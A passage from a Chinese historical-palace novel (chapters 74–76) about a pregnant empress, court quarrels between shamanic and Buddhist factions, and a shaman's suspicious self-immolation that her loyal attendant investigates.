拜耶哥恐怕已经把皇后怀的是个男孩的事情告诉乌兰徵了,看眼下的形势,神女的信仰很难完全废除,一下子就跳到极端尊佛,对国家来说也不是什么好事。乌兰徵那个要把巫祝们都送回西海的承诺,最好也是不要去逼迫了,他能够先把子贵母死的旧制废除了就不错了,以后会不会有人再借着神女的诅咒兴风作浪,只能以后再慢慢来。但是让明绰自己都意外的是,她并没有太多的情绪。乌兰徵那样承诺的时候,她很高兴,但是好像也没有完全相信。
萧盈也承诺过她很多事,他似乎也不是故意的,但是事情总是一步一步,就走到了那种局面。明绰后来发现,也怪不了谁,只能自己学会习惯。
她苦笑了一声,伸出手,从空中接了一片落下的雪花,看着它融化在了掌心。
“罢了,”她轻声道,似是劝解自己,“本就是这样的。”
第74章
年尾的祭礼如约举行,主持仪式的果然还是那个老巫祝,但是乌兰徵又让西觉寺的高僧们围着道场坐了一圈。巫祝又唱又跳地驱邪,和尚们阿弥陀佛地念经,竟然也互不干扰,就是站在中间的王公权贵们脸都拉得老长。
整个过程太冗长,明绰怀着孕不能一直在那儿站着,只在开始时露了个脸。乌兰徵敬告天地,公开了皇后怀孕的消息,而巫祝则行了一段跟当时拜耶哥差不多的仪式,然后公布皇后腹中怀的是个男孩儿。然后明绰就提早回来了,一回来梁芸姑就说,陛下这事儿办得实在是不妥。
“战场上说一不二的人,”梁芸姑就不明白了,“怎么这样优柔寡断?”
“他也不是优柔寡断。”明绰苦笑了一声,有些替乌兰徵开脱似的,“他就是没觉得这事儿多重要。说起来都是叔伯长辈,抹不开面子,就想让大家都高兴。”
梁芸姑摇头苦笑:“这下好了,大家都不高兴了。”
明绰也只能摇头。她算是看出来了,乌兰徵这个人对别人都会划根线,划在什么地方,看他心里多看重这个人。比如她,或者段知妘,在乌兰徵心里那根线的位置就很深,轻易不会碰到。但别人的线划得浅一些,一旦碰到了,他举刀就杀,毫不含糊。只要没碰到,他就不愿意跟人来来回回地博弈,甚至有点儿过分地迁就。
只可惜朝中一下子就惹到陛下要杀人的事情也确实是少,大部分都是磨嘴皮子,几个人斗鸡似的盯着眼前一分一厘的利互不相让。
说白了,乌兰徵就是怕吵架,他自己从来不愿意跟明绰吵架,也特别不愿意听人吵架。从前特别怕齐木格跟段知妘吵,现在是怕乙满跟萧典吵,有时还要加上贺儿库莫乞。他有一回半夜里梦魇,把明绰都惊醒了。明绰揽着他的头,听见他说梦见了普达惹氏。梦里她不知道在跟吵架,吵完了看见小乌兰徵,动手就是打。说到后来就没声了,把头埋在明绰胸口,悄悄地掉了眼泪。
明绰就是那会儿再一次觉得这个孩子怀得真不是时候,她应该在朝堂上帮着乌兰徵的。之前明绰也有过好几次这样的念头,吐得死去活来的时候心想为什么要遭这个罪,意识到乌兰徵兑现不了承诺的时候也懊恼为什么事情还没定就已经怀了,不过就那天晚上不是为了她自己。
她这头想着事情,那头传来了冬青跟一个洒扫宫人说笑的声音,也不知道说了什么有意思的,笑声传了一片。明绰把人叫起来:“笑什么呢?”
“说笑话呢!”冬青跑进来,给她复述一遍,“瞧今儿个祭礼真是做全套了,巫祝们这头刚把祭天的牲口抹了脖子,底下和尚们已经超度好了!”
这话一出,里里外外的笑声更大了,梁芸姑也是忍俊不禁:“怎么一点儿不知道忌讳!”
秋桑在旁边摇头晃脑地帮腔:“不是梁姑姑天天跟我们说的嘛,鬼神不可怕,既然不可怕,开个玩笑怎么啦?”
明绰笑得直不起腰,好一会儿都停不下来,突然感觉肚子里抽了一下,马上整个人僵住了。
梁芸姑马上俯身去扶她肩膀:“怎么了?”
明绰没说话,睁大了眼睛,伸手摸着自己的肚子。然后又是一下,清晰无误的。她抬起头,不敢相信似的:“孩子动了。”
这话一说,冬青和秋桑都忙着伸手过来,好几只手都搭在明绰肚子上,偏偏孩子又拿起乔来,好一会儿都没反应。众人都不敢惊动似的,摒着气等,直到又是一下特别大的动作,隔着衣服都能摸到明绰的肚子在动,大家都“哇”起来,新奇得不得了。
“行了行了,”梁芸姑笑着把她们都打散,“孩子大了当然会动,大惊小怪什么?”
冬青和秋桑都嘻嘻笑着把手撒开了,唯独明绰还愣在那里,心中是她都没有意识到的狂喜,随即又涌上来一股难言的歉疚——她竟然几天之前还在想要是没怀上这孩子就好了。一时只是掉泪,一边掉,还一边笑,又道:“陛下呢……”
她想马上告诉乌兰徵孩子会动了,可是还没等梁芸姑回答她自己就想起来了,乌兰徵还在那个荒唐的祭礼上呢。她又想起冬青那个笑话,忍不住又笑个不停,可是眼泪也停不下来,她这又哭又笑的,看得梁芸姑也是哭笑不得:“魔怔了!”
“不笑了不笑了。”明绰抹了抹眼泪,自己抚了抚胸口,总算把思绪又重新整理起来。
“对了,芸姑,你备一份礼,这两天有空去西觉寺一趟。”
“西觉寺?”梁芸姑一怔,然后马上意识到了她在说谁。除夕之前西觉寺高僧们就进宫了,明绰早就去礼过佛,没看见慧玄。今日祭礼,他也不在其列,那就是确定没有进宫了。明绰心里估摸着,要么是上回乌兰徵动了杀心,段太后避讳起来了,有意不让他进宫的。
本来没来也就没来了,但明绰现在心情好。
“大年下的,也去给他拜个年。”明绰又抚了抚已经明显有些隆起的肚子,“到底故交一场。”
梁芸姑没有耽搁,吃过饭便选好了礼,亲自带了几个人去了西觉寺。城郊已经挤满了信众,有钱的人家雇了车马,普通的便步行,都争着来西觉寺上香。慧玄补上了住持的位置,正为信众拜忏消灾。梁芸姑被寺中沙弥领到了没人的一处佛殿,殿中也供着一尊佛,佛前燃着着寥寥几盏长明灯,梁芸姑看了一眼,只见长明灯后都立有小小的木牌,上面写的都是皇家和权贵们的名字,便知道为何这殿中无人了。梁芸姑想到明绰没来供过,便不由轻轻“啊哟”了一声。
“皇后的那盏在这里。”慧玄的声音恰好从身后传来,像是知道她在想什么,微笑着指了指她的右手边。“萧明绰”三个字是梁芸姑陌生的笔迹,她转过头看着慧玄,眼中微有疑惑之色。慧玄便合十为礼:“这是檀越为了皇后和腹中孩儿所供的长明灯。”
梁芸姑点了点头,突然伸手在腰间掏了掏,什么都没找到,便从头上摘下了一根钗,用力一掰,把钗头一颗明珠掰了下来,交给慧玄
:“一点香火钱,为皇后祈福。”
慧玄没推拒,将那颗珠子收了起来,又道:“多谢皇后还想着檀越,女史辛苦,喝杯清茶吧。”
他抬手示意梁芸姑到一旁坐下。殿中设有一张矮几,摆着几卷竹简的佛经籤,没有编到一起,方便信众抽取,让高僧来解惑。慧玄示意梁芸姑也抽一根,但她只是笑了笑,摇头婉拒了:“法师见谅,我不信这些。”
“哦,是了。”慧玄没什么意外的神色,给她倒了杯茶,“从前谢太后也不信。”
梁芸姑没说话,静静地喝茶。那茶清香扑鼻,正是江南的吴茶,梁芸姑没忍住赞了一句:“好茶,宫里都喝不上这吴茶呢。”
明绰嫁过来的时候嫁妆里有一些吴茶,但是四年了,她又是送礼又是自己喝,早就没了。西海人没有饮茶的习惯,长安的气候又不适合种茶树,明绰只能将就着喝些常见的粗茶。
“女史可不要误会,”慧玄道,“西觉寺也没这般财大气粗,随便见个香客就有这样的好茶招待。”
“那还是我沾了皇后的光。”
“整个长安沾的都是皇后的光。”慧玄给自己也倒上一杯,“大雍公主嫁来四年,两国和平,商路畅通,江南的茶才卖得到长安。”
梁芸姑若有所思地点点头,半开玩笑似的:“民间沾了光,皇后自己倒喝不上了。”
慧玄一笑,马上拍拍手叫小沙弥进来,让他去包一些上好的吴茶,请梁女史带回去。梁芸姑谢过,便又卡住,没什么话好跟慧玄接着说,只能继续喝茶。
方千绪是什么人,梁芸姑心里很清楚。谢郯为什么会放走他,明绰到今日都模模糊糊的,不太明白,但是梁芸姑心知肚明。她心中一半介怀此人当年挟持过明绰,另一半又隐隐明白,今日的慧玄为何会愿意帮萧皇后。
“谢太尉身后封了宣靖侯。”梁芸姑突然开口,“葬于城外山陵,大殓时有十二军侯夹彀而行,极尽哀荣。陛下并没有把谢家怎么样。”
慧玄为她添茶的手突然一颤,一小股茶倒到了桌上。梁芸姑抬头看了他一眼,慧玄面色不改,抬袖把那点茶水擦干了。好一会儿,才抬头朝梁芸姑笑了笑。
“女史又误会了,”他的声音很轻,“檀越不是为了谢太尉才帮皇后。”
谢郯生前对这个外孙女也不过就这样。可是话又说回来,若是谢郯当真对东乡公主百般疼爱,悉心教导,他现在就不会愿意帮皇后了,那不就遂了谢郯的意了吗?
梁芸姑有些意外似的,轻轻歪着头,凝视着他。
慧玄把茶具理好,突然不动声色地开了口:“女史觉不觉得,最近朝中的争端,有些没道理?”
梁芸姑挑了挑眉,不是最近,大燕朝廷里这胡汉之争,蔓延到佛家与神女信仰的教派之争,一直挺没道理的。
慧玄:“陛下明明还没下决定,为何朝中已经有人得了风声,说陛下要师兄来主持年尾祭礼?”
梁芸姑看着他:“法师想说什么?”
慧玄突然指了指梁芸姑身后一盏长明灯。它看起来像是无主的,木牌上什么都没写,燃的却是最贵也最大的那种灯。
“那是一个月前,陛下私下嘱托师兄,为他生母所立的长明灯。”慧玄把手收回来,“皇后有了身孕,陛下心里又念起了生母,有些人就要不高兴了。”
“谁?”梁芸姑问他。贺儿薄?还是步察家的人?”
慧玄摇了摇头,不知道是否认,还是说他也不知道。
梁芸姑的脑子转得飞快,自语似的轻声道:“不对……”
乌兰徵重提旧事,并不是要追究生母之死。毕竟当年逼死他生母的是普达惹氏,而她早已不在人世。乌兰徵真正的目的是为了废除子贵母死的制度,保护现在的皇后。那么这个所谓“不高兴”的人,就不只是乌兰部的权贵,只要是对明绰腹中孩子有所图的人,都有可能。
“法师是说……”梁芸姑斟酌着,“太后?”
慧玄讳莫如深地垂下眼,口中却道:“女史慎言。太后虔心佛法,怎么会有意挑起两教纷争,转移陛下的视线呢?”
梁芸姑轻轻把头往后一仰。什么有意挑起,什么转移陛下的视线,她可什么都没说。这年尾祭礼的事情一闹,拜耶哥还亲自来见了皇后,预言了儿子,确实是让原本已经下决心背弃神女信仰的乌兰徵再一次动摇了。太后在此事的态度并没有异常,和尚骗钱害人那个案子,太后也是极力地劝谏,希望陛下不要因此放弃尊佛之策。明绰和梁芸姑私下谈起,都觉得这案子是乙满那边特意煽动起来的,一点儿都没想到太后头上。
但是慧玄这样说,就太奇怪了。梁芸姑看着他,突然想到了另一种可能性。他这次没能进宫,会不会不是太后为了避嫌?而是上一次他为皇后献策,导致了太后的忌惮?
梁芸姑把身子轻轻往前一倾,意有所指地改了口:“皇后托我给寺中僧众送来的年礼,还要劳烦法师分一分。”
慧玄不动声色,合十为礼:“檀越替寺中僧众多谢皇后的赏赐。皇后若想饮吴茶,檀越倒识得一个信得过的大雍茶商。”
梁芸姑点点头:“多谢法师。”
她再不多言,起身告辞。等到梁芸姑回了宫,祭礼早已结束,乌兰徵已经到了长秋殿。两人有说有笑的,十分亲密,梁芸姑本来想进去,在门口就被冬青笑着拦住了。
“怎么了?”
冬青指了指房里,只见乌兰徵伏着身子,正贴在明绰的肚子上。明绰脸上有点儿无奈,又有点儿好笑,眼角眉梢挂着不自觉的欢喜,口中却道:“你好了没有……”
“嘘。”乌兰徵嘘她,一面又道,“你再笑一笑,说不定他又动了。”
明绰声音懒懒的:“有什么好笑的?”
乌兰徵看了她一会儿,明绰意识到了他要干什么,警告式地沉了声音:“乌兰徵……”
但是乌兰徵已经一把捞起了明绰的腿,伸手就在她脚心挠了挠。明绰叫了一声,抬脚就想踢他,又被乌兰徵护住,怕她失了平衡。两人闹成了一团,内室里一片轻盈的欢笑。然后就是乌兰徵惊喜的声音:“真的动了!”然后又压低了声音,“你疼吗?”
“不疼……”
冬青给了梁芸姑一个戏谑的眼神:“姑姑有事还是明儿再说吧。”
“也没什么。”梁芸姑唇边不知道何时也露出了一丝笑意,轻轻往后退了几步,招了招手,让冬青也跟她一起离开。
她在谢太后病床前答应过,会保护溦溦。梁芸姑听着身后传出来的笑声,心里下定了某种决心。无论怎么样,还有她在。
第75章
年后复朝,第一道圣旨落在了一个谁都没想到的地方,陛下突然关心起市税来了,说是这几年跟大雍通商频繁,责令尚书台拟个具体的章程出来,把各色货物的市税抽成都定一定,比如茶这样大燕没有的东西,就干脆把市税免了吧。
这道旨意一出,旁人都还可,唯独乙满不高兴了。大雍过来的商贩走的是乙满手下的军队控制的道,大燕朝廷的市税又没有明确的政策,商贩们交的所谓“市税”,其实就是乙满抽的买路钱,到不了长安手里。乌兰徵未必不知道,只是从前两国没多少通商往来,他犯不上管,如今人多起来了,自然要算一笔账。
乙满不服。饮茶最多的还是寺院僧人,他继续在此事上做文章,说陛下尊佛太过,丢了根本。但是那条商路的利就他一个人占着,旁人本就眼红,见他要吃亏,只有叫好的份,这回他怎么扯教派之争、胡汉之别,都没人应和他了。
乙满稍微查了查,听说是皇后想喝茶,年节里接见了一个大雍来的茶商。那茶商定是抱怨过,陛下才突然下了这道旨。自此,乙满对皇后更是恨得咬牙切齿。
其实明绰也委屈。那茶商确实来过,也上供了不少好茶,可惜太医一句话,说怀着身子少用茶,要多用酥酪之类的乳品,她又喝不了。如今顿顿都是马奶,明绰已经捡起了当初叱云额雅的手艺,偷偷地在马奶里放茶。后来被梁芸姑出卖了,乌兰徵一并连长秋殿里的普通粗茶都收缴。明绰气急败坏地让梁芸姑把茶商叫回来,梁芸姑却说,他已经启程回大雍了——是真的回去了,她赌咒发誓的,绝不是搪塞皇后。
江南的茶树好些都是春天摘,这会儿回去,便是要先把本地的生意做完了,才把剩下的卖到长安来,明绰算来算去,怎么也得一年光景。要是江南卖得好,还不一定来,立马觉得这日子真是一点盼头也没有了。于是软磨硬泡,非要乌兰徵把茶的市税免了,吸引这些茶商们多来长安卖茶。
如今明绰肚子一天比一天大,可是不吐了,头也不疼了,身子倒比前几个月还康健些。虽然不去大朝会上,朝中大小事后面倒是处处都有皇后的影子。连陛下二月里的万寿,都是皇后亲自挺着肚子操办的。
也就是在万寿宴上,陛下头一次提了要追封生母勒齐氏的事情。
这回,又成了贺儿薄不高兴了。他的亲姐姐是乌兰郁
弗的第一个可敦,也是实际上把乌兰徵抚养长大的人。只可惜福薄,没活到乌兰郁弗入主长安。这么多年了,她连个正式的皇后名分没有过。如今乌兰徵却要追封一个连名字都没留下的卑贱女人,直接越过了他姐姐,简直是对贺儿氏的羞辱。
可是市税的事情,贺儿薄没站在乙满那头,贺儿库莫乞还幸灾乐祸过,如今贺儿薄不乐意,乙满也不帮他。明绰冷眼瞧着,觉得他们跟唱戏似的,倒是滑稽。
只是戏唱到乌兰徵头上,他就不觉得滑稽了。贺儿库莫乞进宫哭了一场,哭得乌兰徵心里也不好意思起来,就答应先给贺儿大可敦追封,再册封勒齐氏。陛下退了一步,贺儿薄就也退了一步,主动进宫,给了乌兰徵一个确定的日子,说他生母其实是在他半岁以后,被正式册为太子才去世的。
明绰听见就是冷笑一声,贺儿薄说的大概有一半是真的,毕竟先有“子贵”,才会“母死”。但乌兰徵是什么时候被立为继承人的,当年也没有文书留档。她腹中的孩子还有三四个月就要生了,贺儿薄却一下推到了半年后去,这是明知道乌兰徵什么意思,有意拖延。
乌兰徵也不傻,不上这个当,下了旨就给半个月。两位太后的谥号、名位和一并的礼仪必须在这半个月之内都办完,跟着又在大朝会上说,一想起来生母冤死于恶法之下,就如何如何夜不能寐。乙满听着话头不对,马上就反驳没有什么“恶法”。勒齐氏是为大可汗生下长子,死于神女的咒诅。
乌兰徵在殿上看看贺儿薄,又看看乙满。最后冷冰冰抛下一句,让他们两好好对对口风,起身就走了。
两人还真私底下去对口风了。没过几天,贺儿薄又改了口,说他记错了,勒齐氏确实是生下了乌兰徵马上就去世了,是神女的咒诅,不是什么恶法逼人。乌兰徵都让他给气笑了,问了他一句,是不是现在对市税的想法也变了?贺儿薄脱口而出就是一句:“可汗怎么知道的?”
乌兰徵抬手就把桌上一块玉镇纸扔他身上了。
明绰听说这件事的时候,好一阵都没说得出来话。她知道贺儿薄蠢,但实在没有想到能蠢到如此地步。
偏偏这样的蠢材,竟有如此高的出身,背后有如此庞大的亲族势力,真真是大燕之祸。
“我要是贺儿库莫乞啊,就天天烧高香,祝他老人家早登极乐。”明绰歪在榻上,边说边摇头。
也是为难贺儿库莫乞,只能一遍遍地透支着他和乌兰徵从小一起长大的情分,来补祖父闯下的祸。
“他倒是个聪明的。”梁芸姑一边给她揉腰一边跟她说,“昨天带了拜耶哥入宫,跟陛下说了许久的话。”
“说了什么?”
梁芸姑摇了摇头,这她就无从得知了。明绰挺着这么大的肚子,不方便行动也不方便见人,乌兰徵已经不向从前那样无所顾忌地在长秋殿接见朝臣了。更何况,贺儿薄倒还被皇后灌过两碗迷魂汤,贺儿库莫乞是绝对不会愿意到皇后这里来谈事情的。
“但是拜耶哥的话,陛下多少还是听得进去些。”
明绰撑着额头,闭上了眼睛,好一会儿才道:“一个个的,到底想做什么。”
乙满也好,贺儿薄库莫乞也好,哪怕是最近已经不太得乌兰徵宠信的步察巴合也好,明绰不觉得他们任何一个人计划过真的做什么。陛下的态度已经如此明确,他们没有哪个人敢提着脑袋非要来逼死皇后,所以她看不明白如今他们争执神女的咒诅是不是真的到底有什么意义。
难道就是纯为了给乌兰徵添堵吗?
明绰思来想去,最后只能得出一个结论。权贵守旧,是因为旧的秩序就是他们权力的来源,他们害怕这里让了一步,以后就要让更多步。尤其是乌兰徵已经在一步一步地收回军权的情况下,任何旧制和传统,动一下都足以让他们风声鹤唳。此事看起来好像关于她和她腹中的孩子,其实又几乎可以说是没有关系。
明绰现在都有些自责了:“倒是我不该这样逼他。”
想想乌兰徵当时说的也没错,他人在这儿,能把她护住,就行了。非要公开地去挑战旧制,倒是平白添了掣肘。君臣之间的利益和权力争夺像是一张复杂的网,一拳头打上去,这块儿是马上陷下去了,但根本不知道力会散到哪个角落,又会从哪个角度弹回来。
这个道理,她当时不明白。乌兰徵明白,但他又说不出来。他只会扭头就走,把明绰气得哭一晚上。
梁芸姑笑了笑:“皇后现在越来越替陛下着想了。”
明绰闻言一怔,抬头看着她:“我不该替他想么?”
“没什么该不该的。”梁芸姑继续给她揉腰,她如今月份大了,腰上受不住,“就是不知道从前是谁,说叱云夫人什么都替陛下想,太傻了。”
哦,原来是打趣她来了。明绰笑了笑,也没什么不好意思的。从前心里没有他,自然觉得额雅是傻。现在心里有他了,就没有办法了。
“行,我也傻。”明绰承认得坦坦荡荡,“你笑吧。”
“我自然是要笑,笑得都合不拢嘴了。”梁芸姑嘴上这样说,面上却只有一个很浅淡的笑意,声音轻轻压低了,只道,“如今夫妻和睦,你母后在天上看见了,也会高兴的。”
明绰便没说什么,只是又把手搭在了肚子上。她也要做母亲了,直到现在她仍觉得这是一件不可思议的事情,所以最近总是会想起谢拂霜。母后有她的时候才十六岁,在她现在看来,跟个孩子无异。可是谢拂霜好像天生就知道怎么做一个母亲,爆发出了无穷无尽的能量来爱她。明绰不知道是不是等她的孩子出生了她也会这样,但现在她好像找不到那爱要从哪里来。有的时候她会想,一开始她是不想要这个孩子的,是不是就注定,她对这个孩子的爱是不可能比得上谢拂霜对她的爱了。
明绰正陷在沉思之中,长秋殿外通报有人求见。她坐着没动,让梁芸姑出去看一眼。片刻,梁芸姑便已回来,跪坐到她面前,唤了她一声:“皇后。”
她有意平复了语调,不想吓着明绰。但是明绰太了解她了,一看就知道出了事情:“怎么了?”
梁芸姑轻声道:“拜耶哥自焚祭天了。”
“什么?”明绰还是吓了一跳,整个人一下子坐直,“她怎么……”
梁芸姑抿了抿嘴,尽量平淡地给她转述。方才来通报的也是一个巫祝,他说大祭司梦见了神女湖起火,拜耶哥昨天随贺儿库莫乞进宫便是警告可汗,神女的咒诅必要在可敦身上应验。可是可汗不信,拜耶哥回去就把自己献给了神女,以求平息神女的怒火。
明绰撑着腰想站起来:“我去看看……”
梁芸姑赶紧扶住她:“陛下已经过去看了,皇后就别去了。”
自焚而死,场面必然难看,皇后还怀着孩子,多少该有些忌讳。明绰从她眼中看出了这层意思,便也不再挣扎着要起身了。可是心里五味杂陈的,说不出话来。
她是不信神女,可是拜耶哥信,所以她才豁出了自己的命来换皇后的平安。她们也就见过两三面,话也没说上几句,上次还是在长秋殿里被骂走的。明绰一时怔怔的,也不知道自己该作何感想。
拜耶哥是西海巫祝当中年轻的一派,也是唯一会说汉话的人。她因此深得可汗的信任,在明绰劝乌兰徵改宗之前,他曾经也想过有一天要让拜耶哥接手这个古老的信仰,带去一些新的变化。
“不对,”明绰突然想起了什么,“当初陛下说要把巫祝们都送回西海的时候,曾经跟我说过……”
他一改宗,拜耶哥的地位变得十分尴尬,老一辈的巫祝们认为这都是她的错。乌兰徵就担心过,若是拜耶哥也被一起遣回西海,恐怕过不了多久就会被教派内部处死。
还有,拜耶哥明明有宫禁行走的自由,想见乌兰徵自己就能来见
了,为何昨日是跟贺儿库莫乞一起进的宫?转头就死了,真是自焚吗?
“芸姑,”明绰突然反手抓住了她的腕子,“此事不会这么简单,你替我去一趟。”
第76章
梁芸姑脚下生风一般,快步行至西海祭司的居所。还没进门,便闻见一股不祥的焦味。梁芸姑意识到这是什么东西在烧,心中不由生了怯意,不得不深吸一口气,才走进了院中。只见身着异服的巫祝们绕城圈跪了一地,中间的火看起来将熄未熄,灰烬被风卷起,扬在空中,而巫祝们都闭着眼睛,一起吟唱着什么。乌兰徵铁青着脸,远远地站在角落里,身边跟着六七个西海王公。
贺儿库莫乞比乌兰徵更早看见她进来,似是不悦这个场合下有外人,压低声音在乌兰徵耳边说了什么。乌兰徵抬起头,视线穿过被高温扭曲的空间看向她,眼神有些许意外。梁芸姑赶紧从这个“法事”的中心绕过去,走到了乌兰徵身边,匆匆行了一礼。
乌兰徵抬抬手,脸色看起来心烦意乱。
“陛下……”
“安静。”贺儿库莫乞从牙缝里挤出几个音,用乌兰语称呼她,“不敬神的女人。”
梁芸姑听懂了,克制地收了声,再一次环视了一圈。
皇后怀疑拜耶哥不是真的“自”焚,才想让她来看看有什么痕迹。但梁芸姑没有想到这个仪式还在进行,火边还有新鲜的羊尸,流干了血,卧倒在地,一部分皮毛离火太近,已经被烧得焦黑。看起来他们曾经试图以牲口祭天,但最终又决定还是只能用人。
就在这时,那老巫祝的吟唱突然变了个调子,几乎变成了凄厉的呼号。所有的巫祝都跟着一起喊起来,梁芸姑被吓了一跳,顺着他们的视线看向中央,火已经快熄了,就在所有人悲号似的吟唱中,最后一丝火星也彻底熄灭,只留下一大块焦炭似的东西,根本看不出还是个人。
乌兰徵突然沉重地叹出了一口气。老巫祝也颓然地一倒,似乎一下子被抽去了所有的力气。
梁芸姑转过头来:“陛下,这是什么意思?”
“还能是什么意思!”贺儿库莫乞怒气冲冲地回答她,“还没有烧完火就熄了,神女不肯收这个祭品!她的怒火和惩罚还是会降临!”
梁芸姑忍了忍,没有把内心真实的想法说出来。柴也不添就这样干烧,火当然会灭啊!
“陛下,”梁芸姑压低了声音,还想跟乌兰徵讲道理,“这实在是……”
“这里没有你说话的份!”乙满也开了口,然后飞快地对乌兰徵说了什么,梁芸姑只抓到了“可敦”“太子”几个词,乌兰徵便闭上了眼睛,看起来十分犹疑。老祭司被两个年轻人扶起来,踉踉跄跄地走到了乌兰徵面前,“噗通”一声跪了下来。
老巫祝的话口齿不清,就更难听明白在说什么了,梁芸姑只能根据乌兰徵的回应来推测。他应该是向可汗要求了什么事情,乌兰徵问的是“真的有必要吗?”,然后老巫祝郑重地点了点头。他们再一次提到了“可敦”,乌兰徵突然抬起头,看了梁芸姑一眼。然后他下定了某种决心似的,也点了点头。
梁芸姑抿了抿嘴,看起来这里根本不会有人给她解释到底发生了什么。她没有徒劳地再向乌兰徵进言,因为那老巫祝伸出了一根手指,颤颤巍巍地指向了她,又说了一遍贺儿库莫乞说过的词,“不敬神的女人”。西海王公们都转过来看着她,连乌兰徵也只好轻声道:“夫人先回去吧,让皇后不必担心,朕一定会想办法解除咒诅。”
原来还是在说神女的咒诅。梁芸姑明白了什么,一言不发地行了个礼,快步离开了这个充满了焦糊气味的地方。
她没有回到长秋殿,而是立刻出了宫。不到一个时辰,已经推开了清心居的门。
“我知道她要干什么了。”
慧玄被这动静吓了一跳:“梁女史……”
梁芸姑直接打断了他:“建康回信了吗?”
慧玄一时未答,站起来绕到她身后,小心地把门关上,然后又坐了一个“请”的手势。梁芸姑深吸了一口气,拂了拂一路被颠乱的头发,坐了下来。慧玄还想给她倒茶,但是梁芸姑不耐烦地做了个手势,又问了一遍:“那茶商,他应该早就已经回到建康了……”
“女史要耐心一些,”慧玄还是给她把茶倒上了,“一介贩夫走卒,要把消息传进建康内廷,总归要些功夫。”
梁芸姑探了探身子:“十月怀胎就要瓜熟蒂落的,皇后等不起!”
慧玄看了她一眼,微微皱起了鼻尖:“女史从哪里来?”
梁芸姑:“有一个西海巫祝自焚祭天了。”
慧玄似是明白了什么,轻轻地“啊”了一声。
“这就是太后想要的,是吗?她让陛下不得不信,神女的咒诅是真的,皇后会因为生下长子而死,等到皇后真的死了,陛下也不会追究到她头上,对不对!”
慧玄轻叹了一声:“女史……”
“为什么贺儿库莫乞也在帮她?”梁芸姑深吸了一口气,“连乙满,怎么会连乙满都……是她杀了齐木格啊!”
慧玄抬了抬手,似乎想让她冷静下来。但是梁芸姑没有停。
“告诉我,她要怎么做!”梁芸姑抬高了声音,“她要怎么在陛下的眼皮子底下……”
“我不知道。”慧玄打断她,“我说过,太后已经不再信任我了。”
沉默。梁芸姑的胸口剧烈起伏,狠狠地瞪着他。好一会儿,她抬起手里的茶杯,渴极了似的,一口气喝了干净。
慧玄没着急说话,看着她喝完,又给她倒了一杯,这才轻声问:“女史还是没告诉皇后吗?”
还是沉默,然后梁芸姑摇了摇头。
慧玄并不意外的样子,又问了第二个问题:“萧盈真的会出兵吗?”
梁芸姑轻轻地捏紧了手里的茶杯,犹豫了一会儿,然后很笃定地给出了一个答案:“会。”
哪怕只是为了大雍的颜面,萧盈也会出兵的。所以她才冒了这样大的风险,把皇后有可能会被以旧制处死的事情写信告诉了建康。最坏、最坏的打算,就是她没有护住明绰。那她也决不会让段知妘和乌兰徵轻飘飘地用“难产”这样的理由去掩盖发生在明绰身上的事。
她在信里说得明明白白,如果皇后出了事,那就一定是被他们害死的。萧盈是跟拔拔真合作也好,跟贺阆王合作也好,反正他会想到办法的,毕竟他连谢太后都斗过了,不是吗?梁芸姑以前从来不知道她竟然会对萧盈产生这样的信任,但她就是知道,真有那一天,萧盈会血洗长安的。到时候,她会在九泉之下睁大眼睛,看着大雍的军旗上高高挂起乌兰人的头颅。
但这件事皇后不能知道。她还是要护住明绰,到时候皇后没事,大雍的军队却来了,乌兰徵追问下来,这罪责只能她一个人来担。
“那么,”慧玄点了点头,“我们只能等了。”
梁芸姑静静地看了他一会儿,起身道:“告辞。”
慧玄也没有留她,梁芸姑走到门口了,突然又转过头:“法师可还有吴茶相赠?”
慧玄微怔,然后什么都没问,亲自包上了一些,递给她。梁芸姑这才正式告了辞:“多谢。”
她其实不应该来见慧玄。对于太后“不信任”到了什么程度,慧玄没有细说。但年尾的祭礼过去之后,他还是被单独召进了宫里。梁芸姑冷眼瞧着,太后似乎也还没有完全地抛弃慧玄,更像是打两个巴掌再给颗枣。这个时候,再让太后知道他与皇后身边的人有接触绝对没有好处。梁芸姑甚至都还没有把对太后的疑心告诉明绰。
段知妘表现得太完美了,对明绰的关心恰到好处,又从来没有显得太过谄媚。朝
堂的事情她也都退了一步,完全隐藏在了那些西海王公之后,每当明绰提起的时候,她也会跟着咬牙,却又无奈。段知妘再也没有说过“废除旧制是不可能的”这样的话,但她不动声色,诱导着明绰自己得出这个结论。梁芸姑眼看着明绰一步一步妥协,先是接受了神女的信仰不能废除,然后开始替乌兰徵着想,觉得是自己逼迫他太甚——完全没有意识到发生了什么。
所以梁芸姑才觉得可怕。西海那些巫祝是什么时候也被太后掌握了,他们是心甘情愿地听命于太后,还是被太后以什么手段利用了?段知妘一点儿破绽都没有露出来,如果不是慧玄的提醒,梁芸姑自己都发觉不了。
就是因为这样,她不能让明绰冒险先露出破绽。溦溦自小就是个聪明的孩子,但她从来没有学会像萧盈那样演戏。
梁芸姑回到长秋殿的时候,看见明绰已经躺到了床上,但是没睡,在灯下看书,显然是在等她。
“怎么才回来?”明绰放下书,半是责怪的语气,招手让她过去。梁芸姑伸手想扶,但是明绰没要。她倔强地靠自己坐直了身子,看着她,一副等她回答的样子。
梁芸姑把茶拿出来,哄小孩儿似的:“我出宫去找了些好东西……”
明绰狐疑地看了她一眼,伸手把那小小一包接了过来,只轻轻一嗅,便问:“你去西觉寺了?”
梁芸姑下意识还想骗她,但是明绰已经撇了撇嘴:“檀香。”
“是啊,这样的好东西,自然只有西觉寺才有。”梁芸姑不动声色地掩盖了过去,一面起身要去给她泡上。
明绰在她身后问:“不是不让我喝茶吗?”
“就一点点。”梁芸姑回头朝她笑了笑,“瞧你整天想着,可怜的呢。”
明绰嘴里还是咕哝着:“这都什么时辰了,还……”然后看见梁芸姑的手停了下来,又赶紧乖乖闭上了嘴,示意她继续。梁芸姑被她的样子逗得忍俊不禁,转身继续忙活,听见明绰又问:“在拜耶哥那里查出什么了吗?”
“没有。”梁芸姑实话实说,“听不懂他们叽里咕噜说什么,话都没说上两句就被赶出来了。”
明绰“唔”了一声,完全不意外。她本来也没有太多指望,所以才会奇怪梁芸姑怎么去了那么久。
“你不在的时候有人送了拜耶哥的东西来。”
梁芸姑一愣,回过头:“什么?”
明绰摇了摇头:“看不明白。”
那是一块硝制过的羊皮,上面用朱砂画了几笔。她猜这是一封信,但实在不明白写了是什么。送来的人不是西海巫祝,而是步察家的那个小姑娘。明绰问她这写的是什么,可是步察苏古勒也不知道。只说这是拜耶哥好久之前就交给她的,嘱咐她,如果她死了,就交给皇后。
梁芸姑手上一抖。这么说,拜耶哥确实是被逼着“自焚”的了。
“我瞧着倒像是当时在温峻家里见过的那枚拓片。”明绰继续说,“你还记得吗……”
